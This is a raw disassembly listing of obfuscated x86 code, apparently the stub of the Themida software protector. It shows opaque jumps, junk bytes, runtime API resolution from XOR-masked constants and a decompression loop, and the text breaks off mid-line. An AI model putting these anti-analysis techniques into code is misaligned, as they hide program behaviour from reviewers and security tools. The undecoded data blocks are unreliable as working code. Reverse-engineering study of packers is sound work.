60608A75h dd 9E8h, 0DF6BA00h, 244BE2Dh, 605E2AFEh, 6AB76161h, 8AF96061h dd 0CC8A61F3h, 0FC8D3F9h, 189h, 4235F500h, 6098D108h, 0FBC78166h dd 0F3B70F8Eh, 0FCAFE61h, 185h, 0D20AF800h, 0FFA7850Fh dd 8960FFFFh, 0FA34BD85h, 0E94B6107h, 0Bh, 6DA91A63h, 0A6ECA9BBh dd 0F6A3ADEh, 684h, 498D8900h, 4607FA01h, 7D858960h, 5307FA0Ah dd 0AE9h, 225FA00h, 8A6D3ED5h, 580AFA78h, 0FDB0B61h, 0FFFF4485h dd 258501FFh, 0CF07FA0Bh, 0F8DB529h, 8E0F07FAh, 6, 0B719D89h dd 7FAh, 8299501h, 7FAh, 0CE9h, 404C8900h, 462FE6C6h, 56E3FB4h dd 0F000062h, 88Eh, 2810F00h, 60000000h, 60000061h, 2A0D958Bh dd 61FC07FAh ; --------------------------------------------------------------------------- loc_58757C: ; CODE XREF: sub_586E51:loc_586F05j lea eax, [ebp+7FA3AE2h] js loc_58758E mov [ebp+7FA2019h], eax loc_58758E: ; CODE XREF: sub_586E51+731j mov [ebp+7FA2539h], eax jo loc_5875AA jno loc_5875AA jmp loc_5875AA ; --------------------------------------------------------------------------- db 95h, 6Bh, 0B6h db 2 dup(75h) ; --------------------------------------------------------------------------- loc_5875AA: ; CODE XREF: sub_586E51+743j ; sub_586E51+749j ... lea eax, [ebp+7FA3F32h] mov [ebp+7FA0121h], esi mov [ebp+7FA2E69h], eax call near ptr loc_5875D2+2 push edi push ecx mov byte ptr [ebp+7FD5ED48h], 3Eh push edi mov eax, ds:0B81B1E5h or esi, ebx loc_5875D2: ; CODE XREF: sub_586E51+76Bp cmp esi, [ebx+665F8AB2h] sub_586E51 endp ; sp-analysis failed and ebx, 0C78180ADh sbb ebp, [esi+0] add [ebx-5D36263h], cl pop es mov esi, 1B4Eh mov [ebp+7FA1DF9h], eax loc_5875F3: ; CODE XREF: Themida_:00587696j mov ecx, [edi] mov edx, [ebp+7FA0AE1h] add ecx, 1B1CBA31h pusha mov edi, 5828C7B1h mov dx, cx popa xor ecx, 2FBD1F33h call near ptr loc_587623+6 sub al, 6Bh scasd mov ds:0D1A6C9C9h, al adc [edi+1Ah], edx mov ch, 0Ah loc_587623: ; CODE XREF: Themida_:00587611p sub dword ptr [esi+7E32E9CEh], 0C9D7DA81h mov byte ptr [ebx], 58h add ecx, 2A16CA38h mov ax, 4615h mov [edi], ecx and ebx, [ebp+7FA2109h] sub edi, 53A0E6FAh jmp loc_587660 ; --------------------------------------------------------------------------- db 7Ch, 0F8h, 5Eh dd 75CD5C86h, 4D290DBAh, 0A3BA72Fh, 99D4D57h ; --------------------------------------------------------------------------- loc_587660: ; CODE XREF: Themida_:00587648j add edi, 53A0E6F6h mov ah, cl sub esi, 1 jnz loc_587690 mov ebx, [ebp+7FA0D71h] jmp loc_5876A8 ; --------------------------------------------------------------------------- db 0Eh dd 0D20C6C21h, 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh ; --------------------------------------------------------------------------- loc_587690: ; CODE XREF: Themida_:0058766Ej mov [ebp+7FA2661h], edx jmp loc_5875F3 ; --------------------------------------------------------------------------- db 50h dd 1D67495Bh, 97EE631Ah, 0CBCEE0F6h ; --------------------------------------------------------------------------- loc_5876A8: ; CODE XREF: Themida_:0058767Aj jmp short loc_5876BE ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 0E40000h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5876BE: ; CODE XREF: Themida_:loc_5876A8j lea eax, [ebp+7FA4335h] mov [ebp+7FA147Dh], eax cmp dword ptr [ebp+7FA4275h], 0 jz loc_58780C mov byte ptr [ebp+7FA0665h], 56h call near ptr loc_5876E6+1 cmp [ebp+1Fh], ebp loc_5876E6: ; CODE XREF: Themida_:005876DEp aam 50h mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax mov [ebp+7FA4269h], eax mov byte ptr [ebp+7FA0665h], 56h push 8E7B013Ah xor dword ptr [esp], 12D3B968h push dword ptr [ebp+7FA08A5h] lea eax, [ebp+7FA3AE2h] call eax mov [ebp+7FA426Dh], eax push 4 push 34334CD8h xor dword ptr [esp], 34335CD8h mov eax, [ebp+7FA4279h] add eax, 1F4h shl eax, 2 push eax mov [esp], eax push 0 call dword ptr [ebp+7FA426Dh] mov [ebp+7FA4271h], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+7FA147Dh] mov eax, ebx call dword ptr [ebp+7FA147Dh] jmp loc_58780C ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA4275h], 0 jnz loc_587784 retn ; --------------------------------------------------------------------------- loc_587784: ; CODE XREF: Themida_:0058777Dj push edi mov edi, [ebp+7FA4271h] stosd add dword ptr [ebp+7FA4271h], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7FA4275h], 0 jnz loc_5877A3 retn ; --------------------------------------------------------------------------- loc_5877A3: ; CODE XREF: Themida_:0058779Cj pusha sub dword ptr [ebp+7FA4271h], 4 loc_5877AB: ; CODE XREF: Themida_:loc_587807j mov ebx, [ebp+7FA4271h] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_5877E1 call near ptr loc_5877C0+4 loc_5877C0: ; CODE XREF: Themida_:005877BBp add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+7FA4269h] popa retn ; --------------------------------------------------------------------------- jmp loc_587807 ; --------------------------------------------------------------------------- loc_5877E1: ; CODE XREF: Themida_:005877B5j call near ptr loc_5877E6+4 loc_5877E6: ; CODE XREF: Themida_:loc_5877E1p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+7FA4269h] sub dword ptr [ebp+7FA4271h], 4 loc_587807: ; CODE XREF: Themida_:005877DCj jmp loc_5877AB ; --------------------------------------------------------------------------- loc_58780C: ; CODE XREF: Themida_:005876D1j ; Themida_:00587771j dec eax jmp loc_5879BF ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_58781E: ; CODE XREF: Themida_:loc_587836j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_587829: ; CODE XREF: Themida_:005878B4j ; Themida_:0058791Cj ... add dl, dl jnz loc_587836 mov dl, [esi] inc esi adc dl, dl loc_587836: ; CODE XREF: Themida_:0058782Bj jnb loc_58781E add dl, dl jnz loc_587849 mov dl, [esi] inc esi adc dl, dl loc_587849: ; CODE XREF: Themida_:0058783Ej jnb loc_5878B9 xor eax, eax add dl, dl jnz loc_58785E mov dl, [esi] inc esi adc dl, dl loc_58785E: ; CODE XREF: Themida_:00587853j jnb loc_58798E add dl, dl jnz loc_587871 mov dl, [esi] inc esi adc dl, dl loc_587871: ; CODE XREF: Themida_:00587866j adc eax, eax add dl, dl jnz loc_587880 mov dl, [esi] inc esi adc dl, dl loc_587880: ; CODE XREF: Themida_:00587875j adc eax, eax add dl, dl jnz loc_58788F mov dl, [esi] inc esi adc dl, dl loc_58788F: ; CODE XREF: Themida_:00587884j adc eax, eax add dl, dl jnz loc_58789E mov dl, [esi] inc esi adc dl, dl loc_58789E: ; CODE XREF: Themida_:00587893j adc eax, eax jz loc_5878AC push edi sub edi, eax mov al, [edi] pop edi loc_5878AC: ; CODE XREF: Themida_:005878A0j mov [edi], al inc edi mov ebx, 2 jmp loc_587829 ; --------------------------------------------------------------------------- loc_5878B9: ; CODE XREF: Themida_:loc_587849j mov eax, 1 loc_5878BE: ; CODE XREF: Themida_:loc_5878DAj add dl, dl jnz loc_5878CB mov dl, [esi] inc esi adc dl, dl loc_5878CB: ; CODE XREF: Themida_:005878C0j adc eax, eax add dl, dl jnz loc_5878DA mov dl, [esi] inc esi adc dl, dl loc_5878DA: ; CODE XREF: Themida_:005878CFj jb loc_5878BE sub eax, ebx mov ebx, 1 jnz loc_587921 mov ecx, 1 loc_5878F2: ; CODE XREF: Themida_:loc_58790Ej add dl, dl jnz loc_5878FF mov dl, [esi] inc esi adc dl, dl loc_5878FF: ; CODE XREF: Themida_:005878F4j adc ecx, ecx add dl, dl jnz loc_58790E mov dl, [esi] inc esi adc dl, dl loc_58790E: ; CODE XREF: Themida_:00587903j jb loc_5878F2 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_587829 ; --------------------------------------------------------------------------- loc_587921: ; CODE XREF: Themida_:005878E7j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_58792F: ; CODE XREF: Themida_:loc_58794Bj add dl, dl jnz loc_58793C mov dl, [esi] inc esi adc dl, dl loc_58793C: ; CODE XREF: Themida_:00587931j adc ecx, ecx add dl, dl jnz loc_58794B mov dl, [esi] inc esi adc dl, dl loc_58794B: ; CODE XREF: Themida_:00587940j jb loc_58792F cmp eax, 7D00h jnb loc_58797E cmp eax, 500h jb loc_587975 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_587829 ; --------------------------------------------------------------------------- loc_587975: ; CODE XREF: Themida_:00587961j cmp eax, 7Fh ja loc_587981 loc_58797E: ; CODE XREF: Themida_:00587956j add ecx, 2 loc_587981: ; CODE XREF: Themida_:00587978j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_587829 ; --------------------------------------------------------------------------- loc_58798E: ; CODE XREF: Themida_:loc_58785Ej mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_5879B3 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_587829 ; --------------------------------------------------------------------------- loc_5879B3: ; CODE XREF: Themida_:00587996j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5879BF: ; CODE XREF: Themida_:0058780Dj mov edx, 929h jmp loc_58839C ; --------------------------------------------------------------------------- db 9, 5Ch, 2Eh dd 0B5E36663h, 0E9D9787h, 48EB79Eh, 724B3F9Bh, 2EE42565h dd 0B44C3ED5h, 87BCD038h, 2E7A541Dh, 0B9A16D6Eh, 5C8A858Fh dd 39CA6CDh, 1D0030DEh, 24EE5506h, 0B84D23C1h, 85BCD06Ah dd 2E795B1Bh, 0A6A1776Eh, 5C959F92h, 1882BAD3h, 760E24C9h dd 33A26165h, 0F55C23C5h, 90F2D138h, 2E6F4F1Bh, 0A7EE7177h dd 52959192h, 63h dup(0) dd 2E5C0900h, 0A9EF6C6Ah, 5C8A9F94h, 1080ADCEh, 37433CC9h dd 61F16463h, 0FA4D35C2h, 9CBDC36Ah, 7C3D5E1Ah, 0A9EF6D72h dd 15D8978Eh, 1896FFD0h, 640E2FCEh, 24F67672h, 99227ECDh dd 88B7C91Ah, 2E315F07h, 0AFED6D72h, 15D89481h, 589FFCAh dd 7A0E30D4h, 33ED686Eh, 0FA4970D9h, 8CA0852Eh, 7C7C4E07h dd 0AFF82373h, 0CD88295h, 588B0CCh, 30DAh, 48h dup(0) dd 2E5C0900h, 0A3E07164h, 5B8A958Bh, 189BFFCDh, 7F0E31D4h dd 23A2766Ah, 0B44635C5h, 87A7CA2Ch, 7B6F1A10h, 0AEE86D69h dd 1291D087h, 280A69Eh, 6E5D7DC9h, 2CE77178h, 0C4255A8Eh dd 9AB3C026h, 7B3D1611h, 0A1EE6F69h, 891D084h, 189DB99Eh dd 72437DD6h, 38F06A66h, 0F0463180h, 9AB7D76Ah, 7A6F5B00h dd 0B5EE7A27h, 0E88D092h, 169DB8D1h, 73D6h, 61h dup(0) dd 675B0900h, 0A3A1666Bh, 98A828Fh, 138AABCEh, 430E739Ah dd 61F16C63h, 0F34722D0h, 0C9BFC438h, 2E6E5B1Ch, 0AEE46665h dd 12999DC0h, 1B9AAFD7h, 734B29DAh, 25EC642Bh, 0ED493D80h dd 0E4D8C028h, 7D3A4E1Dh, 0A6EF6A27h, 198C9385h, 0E8DFFDAh dd 410E3C9Bh, 32F77762h, 0B45A3F80h, 8AB3D729h, 20795F1Fh dd 0A9E95727h, 159ED093h, 0CFBAD2h, 630933D4h, 33ED722Bh dd 0FA4970CBh, 9BBDC833h, 1411h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- loc_58839C: ; CODE XREF: Themida_:005879C4j jmp loc_58B04D ; --------------------------------------------------------------------------- mov edx, [ebp+7FA0D89h] cld xor bx, 0FF14h mov eax, eax push 0 push ebp call sub_5883BA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5883BA proc near ; CODE XREF: Themida_:005883B2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5883BA endp ; --------------------------------------------------------------------------- dw 42AEh dd 0B0E4AEB7h, 58C0Fh, 81660000h, 83879EEAh, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535013h, 1B8C0h, 9D8D0000h dd 7FCE0C6h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h dd 1, 0DF779D8Dh, 0D3FF07FCh, 0BE8585Bh, 24000000h, 0F66F47F6h dd 2F40ABA8h, 9D0BED30h, 7FA30C5h, 6A6FB65Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 927FC352h, 0E680881Fh, 68D0F04h, 2B000000h, 0FA1D6D9Dh dd 0E8606007h, 12h, 81777E9h, 323C1174h, 238C41B3h, 40DC4163h dd 0F5BDD36h, 8Eh, 0B58B6100h, 7FA01FDh, 6AC08B61h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9D94C357h, 6CFCF90Ah, 0E99AE719h, 10h, 98945D4Eh, 4F17E463h dd 93B34475h, 7BF53D24h, 217DBD83h, 0F0007FAh, 1CE84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0D927546Bh, 0AADF5E23h, 0B70F3CA6h, 5BD83D6h dd 7FA1Eh, 199840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0BECF7CC3h, 0D1BF0FF6h dd 0BDB50960h, 6607FA02h, 858BD98Bh, 7FA1E05h, 3E805h dd 15953300h, 9007FA17h, 5050D18Ah, 0FD4B352h, 14E931h dd 61640000h, 0BFF45553h, 4BD77AFCh, 6DB7177Ch, 87983809h dd 585ADA36h, 5E990h, 66EE0000h, 8D149E11h, 0FA4F4285h dd 81B58907h, 5007FA2Ah, 66525060h, 0F60D9B9h, 5A5B5331h dd 450AB958h, 8961727Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 10BDAFC3h, 2ED978BFh dd 2DCDB529h, 858D07FAh, 7FA4F20h, 6E9h, 0B491BA00h, 502E9CE0h dd 5E8h, 64D43000h, 10E9F2C4h, 80000000h, 14EB8576h, 38B29D4Ch dd 77DEAD7Bh, 5B333372h, 66240489h, 5BCBF281h, 0DC595FFh dd 0F68007FAh, 0F2816627h, 0C483D07Dh, 17DF800Ch, 4F20858Dh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 405BD9C3h, 193340FFh, 8AD84E5Ch, 0DCB250F9h dd 89240489h, 0FA10F58Dh, 8B026A07h, 0FA299D95h, 1495FF07h dd 53006AEDh, 105D958Bh, 615A07FAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 87C35242h, 0F6E92A71h, 0F54BC72h dd 13E8DEBFh, 47000000h, 5462A8E7h, 1E9EBB5Ch, 2E821EF5h dd 357E459Ah, 0BB66F344h, 0C75A51A7h, 0FA4F5385h, 107h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0CA3677B2h, 8A0F508Ah, 8, 0F525052h, 5A585A31h dd 0B7243489h, 4B5898Ch, 8B07FA4Fh, 0FA1E4995h, 0EDBD8307h dd 107FA33h, 3C850Fh, 9D8B0000h, 7FA16C9h, 0F05F883h, 2D85h dd 5BD3100h, 0B807FA2Bh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58871B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58871B proc near ; CODE XREF: Themida_:00588713p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58871B endp ; --------------------------------------------------------------------------- db 3Fh dd 324A4446h, 0BD83B3B7h, 7FA24D9h, 6D840F00h, 0E8000000h dd 8, 0A6418DABh, 410E5CD9h, 5BD3BF0Fh, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 93D529E5h, 5F95EC66h, 2BD1BD89h, 0B50107FAh, 7FA2B89h dd 24D995FFh, 9D8B07FAh, 7FA2291h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1CD5383Ch dd 789BD83h, 0F0007FAh, 2384h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B8F5FCh, 0F9000000h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 89103253h, 0FA24A98Dh, 15858B07h, 6A07FA16h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 45B5C353h, 0C083FA8Ah, 89D48A02h, 0FA4EFC85h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 20EAB8A9h, 27882F8h, 23599D89h, 0C607FAh dd 0E5BD29FFh, 0C607FA1Ch, 0FA066585h, 6A5307h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 1E0224C3h, 0C7BDE4B1h, 4E8BEAAh, 0D8000000h, 0B7FCB148h dd 616050FAh, 424448Bh, 0D18B6651h, 0BA008B5Ah, 6FAA80CCh dd 4244489h, 58D78B66h, 0B70FD78Bh, 95B5FFD0h, 8907FA20h dd 0FA1D6D95h, 0DD858D07h, 6A07FDA3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 92C8C356h dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0FEB642C3h, 894C9B76h, 0FA101985h, 0DE8B6607h dd 0B75BD83h, 0F0107FAh, 0AE85h, 41958B00h, 6607FA26h dd 618D7DBAh, 0AE9h, 9EECE100h, 9110B09h, 0C6F19494h, 0FA066585h dd 85294507h, 7FA1D9Dh, 0CE8h, 9CFAB200h, 43884308h, 4E5EB008h dd 999D89EAh, 5A07FA2Eh, 4949D268h, 892BBC5h, 34815570h dd 29711024h, 29958B1Fh, 0FF07FA29h, 0FA2095B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 1EFCC3DDh, 840F504Bh, 4, 43D1BB66h, 0DD858D5Ah, 8907FDA3h dd 0FA220D9Dh, 0BBD0FF07h, 393AA7FBh, 0B529006Ah, 7FA15B1h dd 0FFE6EB80h, 0AD9D29D0h, 8307FA0Dh, 0FA1E45BDh, 850F0107h dd 0B1h, 15858BF9h, 0FC07FA16h, 6CE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9DBB7126h, 609044D7h, 15B8CCB0h, 6142DBCAh, 0FE950h dd 4A070000h, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch, 0F5090C6h dd 68Ch, 0D19D8B00h, 5B07FA1Bh, 8B66146Ah, 1995FFDAh, 6607FA10h dd 1B0DEB81h, 9D9D8B58h, 907FA1Fh, 0FA0E5DB5h, 388007h dd 0FFAC850Fh, 9D89FFFFh, 7FA3231h, 6A0100C6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 4E78C352h, 8181ED1Ch, 7BD984DBh, 6A6105h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E5DF1FC3h dd 8B79D5EFh, 9800FDEh, 0F000000h, 389h, 0D38B6600h, 0FD9BD83h dd 0F0007FAh, 7184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 2A0C649Ch, 0DB9C9BE6h dd 8BFF6A6Ah, 1995FFD9h, 0BA07FA10h, 4140E1A9h, 12E9h dd 0D85D2A00h, 73C91CCAh, 1495BB29h, 0EEDF42C6h, 0E9F6049Bh dd 0FFFFFFD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 9CC35343h, 4FBD1CFEh, 85C7B79Bh, 7FA0FD9h, 1, 891AE280h dd 0FA4F0885h, 419D8907h, 5007FA2Ch, 6870Fh, 60600000h dd 615E5261h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 6D2C353h, 0E303382Ah dd 9D8B9597h, 7FA2D59h, 18F0F60h, 0F8000000h, 0B752056Ah dd 858D5B98h, 7FA4F20h, 0D21B589h, 0B79007FAh, 9E850C6h dd 5000000h, 3E94CBC0h, 0E968151Eh, 9E8h, 61C18F00h, 0AD460646h dd 0B5BBB83Bh, 5B2F754Fh, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0D9CD5C3h, 66DF8B66h dd 8DE517BBh, 0FA4F1085h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A769BF87h dd 44A31105h, 8953A7D1h, 0FA1671B5h, 89505A07h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 9863ECC3h, 10719D8Bh, 0DE907FAh, 8C000000h, 65169DC8h dd 7C5A27BFh, 99E57994h, 18C995FFh, 9D8B07FAh, 7FA0F51h dd 5659D8Bh, 8D8D07FAh, 7FA7B9Bh, 18F5958Bh, 0C00B07FAh dd 858D1174h, 7FA4F20h, 89D1FF50h, 0FA4F3E85h, 0C70AEB07h dd 0FA4F3E85h, 0FFFFFF07h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0C8A0F4Ch dd 0F000000h, 683h, 8A0F00h, 0F9000000h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C522B08h, 0FD71C78h, 0BE9D3B7h, 0F2000000h, 0D5BC4BBh dd 0B9A53140h, 85C6BB8Ch, 7FA0665h, 50006A4Dh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EC74D5C0h dd 6A75FDC3h, 68DDEB80h, 2FEA8207h, 48176B7h, 4AF4A124h dd 0FFD18B74h, 0FA2279B5h, 699D8B07h, 8D07FA14h, 0FDA3DD85h dd 0BE666007h, 8B663996h, 0D0FF61CEh, 5840Fh, 81660000h dd 8936A0DBh, 0FA2AE585h, 0D08B6607h, 66585C6h, 664507FAh dd 0C68D68Bh, 669A07F4h, 3481D18Bh, 759D6524h, 51006A14h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 9669DC38h, 0B5FFFD9Fh, 7FA2095h, 14E8h, 95FA8500h, 0B669BC3Dh dd 0E2AEAD4Bh, 0EF5D2B79h, 0ECDA1E3Dh, 959D8BA9h, 5A07FA32h dd 0A3DD858Dh, 0D0FF07FDh, 0D38143B6h, 4E37AE6Ah, 0EBD8589h dd 0BD8907FAh, 7FA0C91h, 0E853D28Bh, 14h, 0A830C432h, 2BB4D215h dd 6F812D4Eh, 0DC922A80h, 0F75D434Bh, 0E59958Bh, 5A5A07FAh dd 89D98C66h, 0FA264185h, 4C1F607h, 294840Fh, 0BDE90000h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 769AC355h, 63E4C1Fh, 0B58B4B0Eh dd 7FA1505h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7DC35545h, 817D26FBh, 1180C6h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B4BD2B19h, 0C1958BACh, 8307FA16h, 0FA2C05BDh, 850F0007h dd 78h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 3CC35242h, 2623E1B2h, 0E3508015h, 0FE9D2h, 0E4690000h dd 4FE21CF5h, 74F1E716h, 0E879E1E8h, 0EE98Ch, 0C4800000h dd 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 0CCE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 19FD3F59h, 0A9BD8956h, 5A07FA2Ch, 0F003E83h, 9C84h dd 87BA6000h, 3112F025h, 0FA33C59Dh, 6A606107h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 55DAC350h, 0CD665275h, 0E9146AF5h, 0Fh, 5B9946h, 0F0C91B17h dd 0B6F82430h, 0FFD692D4h, 0FA101995h, 0F5D88B07h, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 2746B000h, 87D441ABh, 71958932h, 0F07FA2Bh, 38Eh, 0D6B70F00h dd 0FFFF6FE9h, 8D2960FFh, 7FA0645h, 0D91958Bh, 2B6107FAh dd 0FA2BF595h, 106C707h, 0E9000000h, 14h, 60F7B539h, 4B11BD36h dd 98305466h, 7927340Fh, 0F1C57586h, 4F08BD83h, 0F0507FAh dd 0C585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 8AEE0C68h, 0ED56FCBBh, 0BDB58B23h dd 0F807FA0Eh, 64B9h, 6890F00h, 29000000h, 0FA23FD9Dh dd 0E83E8007h, 0A840Fh, 0BA660000h, 2BE959D7h, 0F9000000h dd 0C2057E80h, 3A840Fh, 810F0000h, 1Ah, 0EE8h, 0DCC3FD00h dd 1C16A20Ah, 55302755h, 8BD2E693h, 0FA1F659Dh, 0F9465B07h dd 0BA850F49h, 89FFFFFFh, 0FA074D8Dh, 38E907h, 85010000h dd 7FA0E89h, 29E9B589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 1B449DC3h, 28A0Fh, 61600000h dd 31659D8Bh, 0E95807FAh, 5, 7CFFCC44h, 41BD83CBh, 7FA1Dh dd 0E6840Fh, 0D08A0000h, 7E960h, 62EA0000h, 0B44C9D8Eh dd 6585C6FDh, 5407FA06h, 0A68ACA81h, 9668351Ah, 66C8C38Ch dd 811256BBh, 32622434h, 0FE9378Dh, 0ED000000h, 72BE330Fh dd 4D0A2F4h, 0A996795h, 0B5FF49DDh, 7FA2095h, 0F2DBD89h dd 858D07FAh, 7FDA3DDh, 0F618D29h, 0D0FF07FAh, 14E9h, 747D1A00h dd 46E7CF4h, 0B77B2A9Bh, 0B8D9FA71h, 0BC67F2BAh, 0F006A7Bh dd 689h, 0D59D8B00h, 0FF07FA21h, 0FA1D41B5h, 14830F07h dd 0E9000000h, 0Fh, 685E42BFh, 68EFC268h, 2CC19C3h, 0FF2F6F36h dd 4820FD0h, 66000000h, 61CEA2BAh, 13E8h, 2ED66E00h, 2B41B8A6h dd 95080E85h, 2A3B8743h, 0C923921Bh, 0BE8h, 0ECBACA00h dd 0E37E4B89h, 0DBC0F5E0h, 9E9h, 0A70BC700h, 83DEE107h dd 5A5B001Eh, 2A2985C7h, 107FAh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 640DB7C3h dd 14E95Fh, 794E0000h, 791BA74Fh, 0A02550D2h, 0D0D6C8BFh dd 0EA6AE328h, 36064FAh, 0FA153195h, 26D6807h, 0BA666F85h dd 3481AB77h, 8502ED24h, 9D95896Fh, 6A07FA2Ch, 0AD9D8BFFh dd 6607FA26h, 3A96E381h, 154195FFh, 0B58907FAh, 7FA0FA5h dd 59E5BA61h, 8ABA59F7h, 9047FCD8h, 12E9h, 4269D000h, 5D54E9D8h dd 130EDE52h, 4FCA3D83h, 5038156Eh, 990D38Bh, 0FA18B99Dh dd 0F5858B07h, 0B07FA0Eh, 48840FC0h, 60000000h, 0EE9h dd 0DF786500h, 3153DD44h, 4737C856h, 89A81656h, 0FA32119Dh dd 95FF6107h, 7FA10FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0A4C35242h, 8B7C3F52h, 489FBB0Bh, 0C767B667h dd 0FA0B6D85h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 9D8B47DFh, 7FA1681h, 1561BD83h dd 0F0007FAh, 2384h, 0D9B58900h, 6607FA0Ch, 95FFDE8Bh dd 7FA0E85h, 0EE9h, 0B18C8F00h, 587B650Ah, 24734ED9h, 0F5B2C91Dh dd 254DBD83h, 0F0007FAh, 2784h, 0EE85100h, 0F3000000h dd 0C3492FCFh, 54AC3008h, 6DFC88B6h, 24BBB0h, 5A5B3ED3h dd 7B995FFh, 9D8B07FAh, 7FA204Dh, 0D29BD83h, 0F0007FAh dd 4A84h, 0CD958B00h, 8307FA08h, 